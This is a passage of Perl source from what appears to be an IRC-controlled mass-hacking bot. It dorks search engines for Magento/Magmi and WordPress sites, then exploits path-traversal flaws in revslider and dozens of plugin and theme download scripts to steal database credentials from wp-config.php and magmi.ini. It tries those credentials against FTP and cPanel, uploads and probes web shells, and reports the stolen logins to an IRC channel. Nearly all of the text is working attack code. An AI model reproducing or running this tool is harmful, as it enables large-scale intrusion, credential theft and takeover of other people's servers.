											"/images/jdownloads/screenshots/m.libs.up.php.j", 
											"/images/jdownloads/screenshots/unix.php.j",
											"/plugins/editors/index.php", 
											"/cache/bogel.php", 
											"/.libs.php",
											"/wp-content.php",
											"/404.php",
											"/wp-xmlrpc.php", 
											"/myluph.php",
											"/bogel.php",
												);
                                my @patcher = &backdoorCheck($site,@path2);

                                if($patcher[0] ne "false") {
                                    sleep(5);
                                    my $msg = "3$patcher[0] ".$art{"circ1"}."OS:14$patcher[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$patcher[2]".$art{"circ2"};
                                    &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$patcher[1],$patcher[2]); 
                                    if($logger) { &saveTarget("patch.txt",$patcher[0],$patcher[1],$patcher[2]); }
                                }
                            }
                            
                        }
                    }
                    exit;
                }
            }          
        }
    } 
}
#########################################################################################################
#                                     MAGENTO + MAGMI EXPLOIT                                           #
#                                    xpl : revslider                                                    #
#########################################################################################################
sub magento_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;

    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num   = scalar(@total);
     
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {

            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
            
            my $site = $total[$i];
            $site =~ s/magmi\/.*//;
            $site =~ s/web\/.*//;
            
            #magmi
            my $mag = "http://".$site."/magmi/web/download_file.php";
            my $cmag = &_get($mag);

            if($cmag->is_success) {
                my $url = "http://".$site."/magmi/web/download_file.php?file=../conf/magmi.ini";
                my $vic = &cleanUrl($site);
                my $check = &get_content($url);

                if($check =~ /dbname/i) {
                    my($host,$db,$user,$pass);
                    if ($check =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; }
                    if ($check =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; }
                    if ($check =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; }
                    if ($check =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; }
                    
                    if($user && $pass) {
                        if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") {
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});
                        } else {
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});     
                            my $checkdb = &getDb("mysql", $host, $db, $user, $pass);
                            if($checkdb) {
                                &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"});
                            }
                        }

                        #GET FTP#
                        my @ftp = &getConnect("ftp",$site,$user,$pass);

                        if($ftp[0] ne "false") {
                            &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"});
                        } else {
                            &createList("$site $user,$pass", "site.txt");
                        }

                        #GET CPANEL#
                        my @cp = &getConnect("cpanel",$site,$user,$pass);
                        if($cp[0] ne "false") {
                            my $cps = "http://".$cp[0].":2082";
                            &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"});
                        } 
                    }
                }
               
           } else {
                
                my $mag2 = "http://".$site."/web/download_file.php";
                my $cmag2 = &_get($mag2);

                if($cmag2->is_success) {
                    my $url = "http://".$site."/web/download_file.php?file=../conf/magmi.ini";
                    my $vic = &cleanUrl($site);
                    my $check = &get_content($url);

                    if($check =~ /dbname/i) {
                        my($host,$db,$user,$pass);
                        if ($check =~ /host?\s\=?\s\"(.*)\"/i) { $host = $1; }
                        if ($check =~ /dbname?\s\=?\s\"(.*)\"/i) { $db = $1; }
                        if ($check =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; }
                        if ($check =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; }
                        
                        if($user && $pass) {
                            if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") {
                                &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});
                            } else {
                                &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});     
                                my $checkdb = &getDb("mysql", $host, $db, $user, $pass);
                                if($checkdb) {
                                    &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"});
                                }
                            }

                            #GET FTP#
                            my @ftp = &getConnect("ftp",$site,$user,$pass);

                            if($ftp[0] ne "false") {
                                &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"});
                            } else {
                                &createList("$site $user,$pass", "site.txt");
                            }

                            #GET CPANEL#
                            my @cp = &getConnect("cpanel",$site,$user,$pass);
                            if($cp[0] ne "false") {
                                my $cps = "http://".$cp[0].":2082";
                                &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"});
                            } 
                        }
                    } 
                } else {
                    my $url   = "http://".$site."/app/etc/local.xml";
                    my $vic   = &cleanUrl($site);
                    my $check = &get_content($url);
                    
                    if($check =~ /dbname/i) {
                        my($host,$db,$user,$pass); 
                        if ($check =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) { $host = $1; }
                        if ($check =~ /<dbname><!\[\CDATA\[(.*)\]\]\><\/dbname>/) { $db = $1; }
                        if ($check =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/) { $user = $1; }
                        if ($check =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/) { $pass = $1; }
                        
                        if($user && $pass) {
                            if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") {
                                &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});
                            } else {
                                &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});     
                                my $checkdb = &getDb("mysql", $host, $db, $user, $pass);
                                if($checkdb) {
                                    &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"});
                                }
                            }

                            #GET FTP#
                            my @ftp = &getConnect("ftp",$site,$user,$pass);

                            if($ftp[0] ne "false") {
                                &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"});
                            } else {
                                &createList("$site $user,$pass", "site.txt");
                            }

                            #GET CPANEL#
                            my @cp = &getConnect("cpanel",$site,$user,$pass);
                            if($cp[0] ne "false") {
                                my $cps = "http://".$cp[0].":2082";
                                &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"});
                            } 
                        }
                       
                   }
                }
           }
        }
    }
}
#########################################################################################################
#                                  REVSLIDER EXPLOIT                                                    #
#                                   xpl : revslider.zip & showbiz.zip                                   #
#########################################################################################################
sub revslider_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$revlogo);
    my $num = scalar(@total);
    
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {
            
            if($i >= 10) { sleep(5);}
            
            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
            
            my $site = $total[$i];
            $site =~ s/wp\-content\/.*//;
            
            my $url = "http://".$site."/wp-admin/admin-ajax.php";
            my $res = &_get($url);
            sleep(2);

            if($res->is_success or $res->decoded_content =~ /0/ ){
                if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
                    } else{ 
                        &revslider_action(1,$site,$engine,$chan,$nick,$id);
                        &wpconfig_action(2,$site,$engine,$chan,$nick,$id);      
                    }
                    exit;
                }
            }
        }
    }
}
sub revslider_action {
    my ($tipe,$site,$engine,$chan,$nick,$id) = @_;
    
    ############ ACTION SET ################
    my $clone   = "?ka&x=clone&path=..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Ffeed.php%2C..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Fincludes%2Findex.php";
    my $patch   = "?ka&x=patch&allow=feed.php%2Cindo.php";
    my $plbot   = "?ka&x=plbot";
    my $mail    = "?ka&x=mail";
    my $dblink  = "?ka&x=wdb";
    my $logo = ($tipe == 2) ? $wpclogo : $revlogo;
    #######################################
    
    my @bdpath = ( 
					"/wp-admin/feed.php+".$osKey,
					"/wp-admin/includes/index.php+".$osKey,
					"/wp-content/plugins/revslider/temp/update_extract/revslider/.libs.php", 
					"/wp-content/plugins/revslider/temp/update_extract/revslider/unix.php",
					"/wp-content/plugins/revslider/temp/update_extract/revslider/2x.php",
					"/wp-content/plugins/revslider/temp/update_extract/revslider/1x.php",
					"/wp-content/plugins/revslider/temp/update_extract/revslider/petx.php",
					"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/unix.php",
					"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/.libs.php",
					"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/2x.php",
					"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/1x.php",
					"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/petx.php",
					"/wp-content/plugins/index.php",
					"/wp-admin/includes/themes.php", 
					"/wp-admin/unix.php",
					"/wp-admin/404.php",
					"/wp-includes/unix.php",
					"/.libs.php",
					"/wp-content.php",
					"/404.php",
					"/wp-xmlrpc.php", 
					"/myluph.php"
                  );

    my @result = &backdoorCheck($site,@bdpath);

    if($result[0] ne "false") {
        sleep(5);
        my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"};
        &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]);
                    
        if($repeat) {
            &spreader("wordpress",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],"",$logo,0,$engine,$chan,$nick,$id);
        }
        
        if($logger) { 
            my $file = "patch.txt";
            if($result[3] == 0 or $result[3] == 1) {$file = "old.txt";}
            &saveTarget($file,$result[0],$result[1],$result[2]);   
        }
  
    } else {
        my @rev = &revUpload($chan,$id,$engine,$site, "revslider");
        
        if($rev[0] ne "failed") {
            if($rev[0] eq "false"){
                my @show = &revUpload($chan,$id,$engine,$site, "showbiz");
                if($show[0] ne "failed") {
                    if($show[0] ne "false"){        
                        sleep(5);
                        my $safe = "3OFF";
                        if(lc($show[3]) eq "on") { $safe = "14ON";}
                        my $msg = "3$show[0] ".$art{"circ1"}."OS:14$how[2]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                        &sendMsg(2, $id,$shellogo,$logo,$engine,$chan,$nick,$msg,$show[2],$safe);

                        &spreader("wordpress", $clone,$patch,$mail,$dblink,$plbot,$site,$show[0],$show[1],$logo,1,$engine,$chan,$nick,$id);
                        if($logger) { &saveTarget("new.txt",$show[0],$show[1],$show[2]);}
                    } 
                }
                 
            } else { 
                sleep(5);
                my $safe = "3OFF";
                if(lc($rev[3]) eq "on") { $safe = "14ON";}
                my $msg = "3$rev[0] ".$art{"circ1"}."OS:14$rev[2]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"};
                &sendMsg(2, $id,$shellogo,$logo,$engine,$chan,$nick,$msg,$rev[2],$safe);
                
                &spreader("wordpress", $clone,$patch,$mail,$dblink,$plbot,$site,$rev[0],$rev[1],$logo,1,$engine,$chan,$nick,$id);  
                if($logger) { &saveTarget("new.txt",$rev[0],$rev[1],$rev[2]);}
            }
        }
    }
}
sub revUpload {
    my ($chan,$id,$engine,$site,$tipe) = @_;
    
    my @result = ("failed");
    
    #--------------- set ---------------#
    my %revthemes = (
                        "default"            => "/wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/",
                        "liofolio"           => "/wp-content/themes/liofolio/Lioit/revslider/temp/update_extract/revslider/",
                        "ultimatum"          => "/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/",
                        "centum"             => "/wp-content/themes/centum/revslider/temp/update_extract/revslider/",
                        "medicate"           => "/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/",
                        "beach_apollo"       => "/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/",
                        "avada"              => "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/",
                        "cuckootap"          => "/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/",
                        "royaloak"           => "/wp-content/themes/RoyalOak/framework/plugins/revslider/temp/update_extract/revslider/",
                        "pindol"             => "/wp-content/themes/pindol/revslider/temp/update_extract/revslider/",
                        "striking_r"         => "/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/",
                        "paragon"            => "/wp-content/themes/paragon/framework/plugins/revslider/temp/update_extract/revslider/",
                        "cuckoobizz"         => "/wp-content/themes/cuckoobizz/framework/plugins/revslider/temp/update_extract/revslider/",
                        "designplus"         => "/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/",
                        "stendhal"           => "/wp-content/themes/stendhal/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/",
                        "schema-corporate"   => "/wp-content/themes/schema-corporate/classes/revslider/temp/update_extract/revslider/",
                        "bazar"              => "/wp-content/themes/bazar/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/",
                        "incrediblewp"       => "/wp-content/themes/incrediblewp/revslider/temp/update_extract/revslider/",
                        "nevada"             => "/wp-content/themes/nevada/revslider/temp/update_extract/revslider/",
                        "coffeeandcream"     => "/wp-content/themes/coffeeandcream/includes/revslider/temp/update_extract/revslider/",
                        "edwards-theme"      => "/wp-content/themes/edwards-theme/js/revslider/temp/update_extract/revslider/"
                    );
    
    ########### SET ########################
    my $act = $injector."?x=".$site."&y=rev";
    my $dir    = "revslider";
       
    if($tipe ne "revslider") {
        my $act = $injector."?x=".$site."&y=rev&showbiz";
        $dir    = "showbiz";
    }
    
    my $path = "/wp-content/plugins/[plugin]/temp/update_extract/[plugin]/";
    $path =~ s/\[plugin\]/$dir/ig;
    ########################################## 
    my $response = &_get($act);
    sleep(3);
    
    if($response->decoded_content =~ /Wrong update extracted folder/ or  $response->decoded_content =~ /Could not delete those files from the update folder/i) {
        @result = ("false");
        
        my $upath = "http://".$site.$path."feed.php";
        my $res = &get_content($upath."?".$osKey);
        sleep(3);
              
        if($res =~ m/SAFE_MODE/ig or $res =~ m/Uname/ig or $res =~ /GIF89a/ig or $res =~ /Touched by SiNaGa/ig){       
            my $safe = "";
            my $os = ""; 
            if ($res =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
            if ($res =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
            @result = ();
            @result = ($upath,$path,$os,$safe);
            
        } else {
            if(lc($tipe) eq "revslider") {
                foreach my $k (sort keys %revthemes) {
                    my $path2 = "http://".$site.$revthemes{"$k"}."feed.php";
                    my $res = &get_content($path2."?".$osKey);
                    sleep(1);

                    if($res =~ m/SAFE_MODE/ig or $res =~ m/Uname/ig or $res =~ /GIF89a/ig or $res =~ /Touched by SiNaGa/ig){
                        my $os   = "";
                        my $safe = "";
                        if ($res =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
                        if ($res =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
                        @result = ();
                        @result = ($path2,$revthemes{"$k"},$os,$safe);
                        last;
                    } 
                } 
            }
        }
    } 
    
    return @result;
}
#########################################################################################################
#                                  WORDPRESS CONFIG                                                     #
#                                   xpl : -                                                             #
#########################################################################################################
sub wpconfig_xpl {
    my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_;
    
    my @total = &search_engine($chan,$bug,$dork,$engine,$logo);
    my $num = scalar(@total);
    
    if ($num > 0) {
        for(my $i = 0; $i <= $num; $i++) {

            if($i == ($num -1)) {
                my @newdata = &coiGetDork($chan, $engine);  
                
                if($newdata[0] ne "false") {
                    $num = ($num + scalar(@newdata));
                    push(@total, @newdata);
                } else {
                    if(length($engine) > 2 ) {
                        sleep(8);
                        &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                    } else {
                        if(lc($engine) !~ /$tld/) {
                            sleep(8);
                            &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"});
                        }
                    }
                } 
            }
            
            my $site = $total[$i];
            $site =~ s/wp\-content\/.*//; 
            &wpconfig_action(1,$site,$engine,$chan,$nick,$id); 
        }
    }
}

sub wpconfig_action {
    my ($tipe,$site,$engine,$chan,$nick,$id) = @_;
    
    ########## ACTION SET #######################
    my %wpconfig =(   
           rev1   => "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",
		   rev2   => "/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php",
		   wpc1   => "/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php",
           wpc2   => "/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php",
		   wpc3   => "/wp-content/force-download.php?file=../wp-config.php",
           wpc4   => "/wp-content/plugins/ibs-mappro/lib/download.php?file=../../../../wp-config.php",
		   wpc5   => "/force-download.php?file=../wp-config.php",
           wpc6   => "/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr",
		   wpc7   => "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php",
		   wpc8   => "/wp-content/themes/markant/download.php?file=../../wp-config.php",
		   wpc9   => "/wp-content/themes/yakimabait/download.php?file=./wp-config.php",
		   wpc10  => "/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php",
		   wpc11  => "/wp-content/themes/felis/download.php?file=../wp-config.php",
		   wpc12  => "/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php",
		   wpc13  => "/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php",
		   wpc14  => "/wp-content/themes/epic/includes/download.php?file=wp-config.php",
		   wpc15  => "/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php",
		   wpc16  => "/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php",
		   wpc17  => "/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php",
		   wpc18  => "/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php",
		   wpc19  => "/wp-content/themes/lote27/download.php?download=../../../wp-config.php",
		   wpc20  => "/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php",
		   wpc21  => "/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php",
		   wpc22  => "/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php",
		   wpc23  => "/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php",
		   wpc24  => "/wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php",
		   wpc25  => "/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php", 
           wpc26  => "/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php",
           wpc27  => "/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php"
	); 

    if($tipe == 2) {
        my %wpconfig =(   
                        rev1   => "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php",
		                rev2   => "/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php"
                       );
    }
     my $logo = ($tipe == 2) ? $revlogo : $wpclogo;
    ############################################
    
    foreach my $k (sort keys %wpconfig) {
        my $url = "http://".$site.$wpconfig{$k};
        my $cek = &get_content($url);
         
        if($cek =~ /DB_HOST/i) {
            my($host, $db, $user, $usr, $pass);
            my $vic = &cleanUrl($site);
                    
            if($cek =~ /['|"]db_name['|"].+\s['|"](.+)['|"]/i) { $db = $1;}
            if($cek =~ /['|"](db_host|db_hostname)['|"].+\s['|"](.+)['|"]/i) { $host = $2;}
            if($cek =~ /['|"](db_user|db_username)['|"].+\s['|"](.+)['|"]/i) {$user = $2;}
            if($cek =~ /['|"](db_pass|db_password)['|"].+\s['|"](.+)['|"]/i) {$pass = $2;}
                    
            if($tipe == 1) {
                if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") {
                    &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});
                } else {
                    &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"});     
                    my $checkdb = &getDb("mysql", $host, $db, $user, $pass);

                    if($checkdb) {
                        &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"});
                    }
                }
            }
            
            #GET FTP#
            my @ftp = &getConnect("ftp",$site,$user,$pass);   
            
            if($ftp[0] ne "false") {
                &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"});
            } else {
                &createList("$site $user,$pass", "site.txt");
            }
            
            my @cp = &getConnect("cpanel",$site,$user,$pass);
            if($cp[0] ne "false") {
                my $cps = "http://".$cp[0].":2082";
                &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"});
            } 
            
            if($tipe == 1) {
                if($k eq "rev1" or $k eq "rev2") {
                    &revslider_action(2,$site,$engine, $chan, $nick,$id);
                } 
            } 
            last;
        }
    } 
}
#########################################################################################################
#                                         HELPER                                                        #
#########################################################################################################
sub spreader {
    my ($tipe,$cloneLink,$patchLink,$mailLink,$dbLink,$plbot,$site,$result,$resPath,$logo,$action,$engine,$chan,$nick,$id) = @_;
    my $jftp = 0;

    if($action) {
        my $clone    = $result.$cloneLink;
        my $patcher  = $result.$patchLink;
        my $send     = $result.$mailLink;
        my $pl       = $result.$plbot;
        my $clean    = $result."?ka&x=clear";

        &get_content($clone);
        &get_content($pl);
        
        my $plb = "http://".$site.$resPath."pl.php";
        &get_content($plb);
        sleep(4);
        &get_content($clean);  
        &get_content($send); 
        &get_content($patcher);
    }
    
    if($dbLink or $dbLink ne "") {
        my $config  = $result.$dbLink;
        my $datas   = &_get($config);
        
        if($datas->is_success) {
            my $data = $datas->decoded_content;
            my ($host,$db,$user,$pass);
            
            if($tipe eq "joomla") {
                if($data =~/\$(mosConfig_host|host|hostname)\s?\=\s?['|"](.+)['|"]/i) { $host = $2;}
                if($data =~/\$(mosConfig_db|db)\s?\=\s?['|"](.+)['|"]/i) { $db = $2;}
                if($data =~/\$(mosConfig_user|user|username)\s?\=\s?['|"](.+)['|"]/i) { $user = $2;}
                if($data =~/\$(mosConfig_password|pass|password)\s?\=\s?['|"](.+)['|"]/i) { $pass = $2;}
            } 
            if($tipe eq "ninja") {
                if($data =~ /DB_HOST['|"]\:['|"](.+?)['|"]/i) { $host = $1;}
                if($data =~ /DB_NAME['|"]\:['|"](.+?)['|"]/i) { $db = $1;}
                if($data =~ /DB_USER['|"]\:['|"](.+?)['|"]/i) { $user = $1;}
                if($data =~ /DB_PASSWORD['|"]\:['|"](.+?)['|"]/i) { $pass = $1;}            
            }
            if($tipe eq "wordpress") {
                if($data =~ /['|"](db_host|db_hostname)['|"].+\s['|"](.+)['|"]/i) { $host = $2;}
                if($data =~ /['|"]db_name['|"].+\s['|"](.+)['|"]/i) { $db = $1;}
                if($data =~ /['|"](db_user|db_username)['|"].+\s['|"](.+)['|"]/i) {$user = $2;}
                if($data =~ /['|"](db_pass|db_password)['|"].+\s['|"](.+)['|"]/i) {$pass = $2;}
            }

            if($user && $pass) {
                my @ftp = &getConnect("ftp",$site,$user,$pass); 
                
                if($ftp[0] ne "false") {
                    $jftp = 1;
                    &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14$ftp[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$ftp[2]".$art{"circ2"});
                
                    if($logger) {
                        &createList("http://".$ftp[0]."\nUSER:$ftp[1] PASS:$ftp[2]\n--------------------------------", "ftp.txt");
                    }
                }
                
                my @cp = &getConnect("cpanel",$site,$user,$pass); 
                
                if($cp[0] ne "false") {
                    my $cps = "http://".$cp[0].":2082";
                    &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14$cp[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$cp[2]".$art{"circ2"});
                
                    if($logger) {
                        &createList("$cps\nUSER:$cp[1] PASS:$cp[2]\n--------------------------------", "cpanel.txt");
                    }
                }
            }
            
            if(lc($tipe) eq "joomla") {
                #check ftp
                if(!$jftp) {
                    my ($ftphost, $ftproot, $ftpuser, $ftppass);
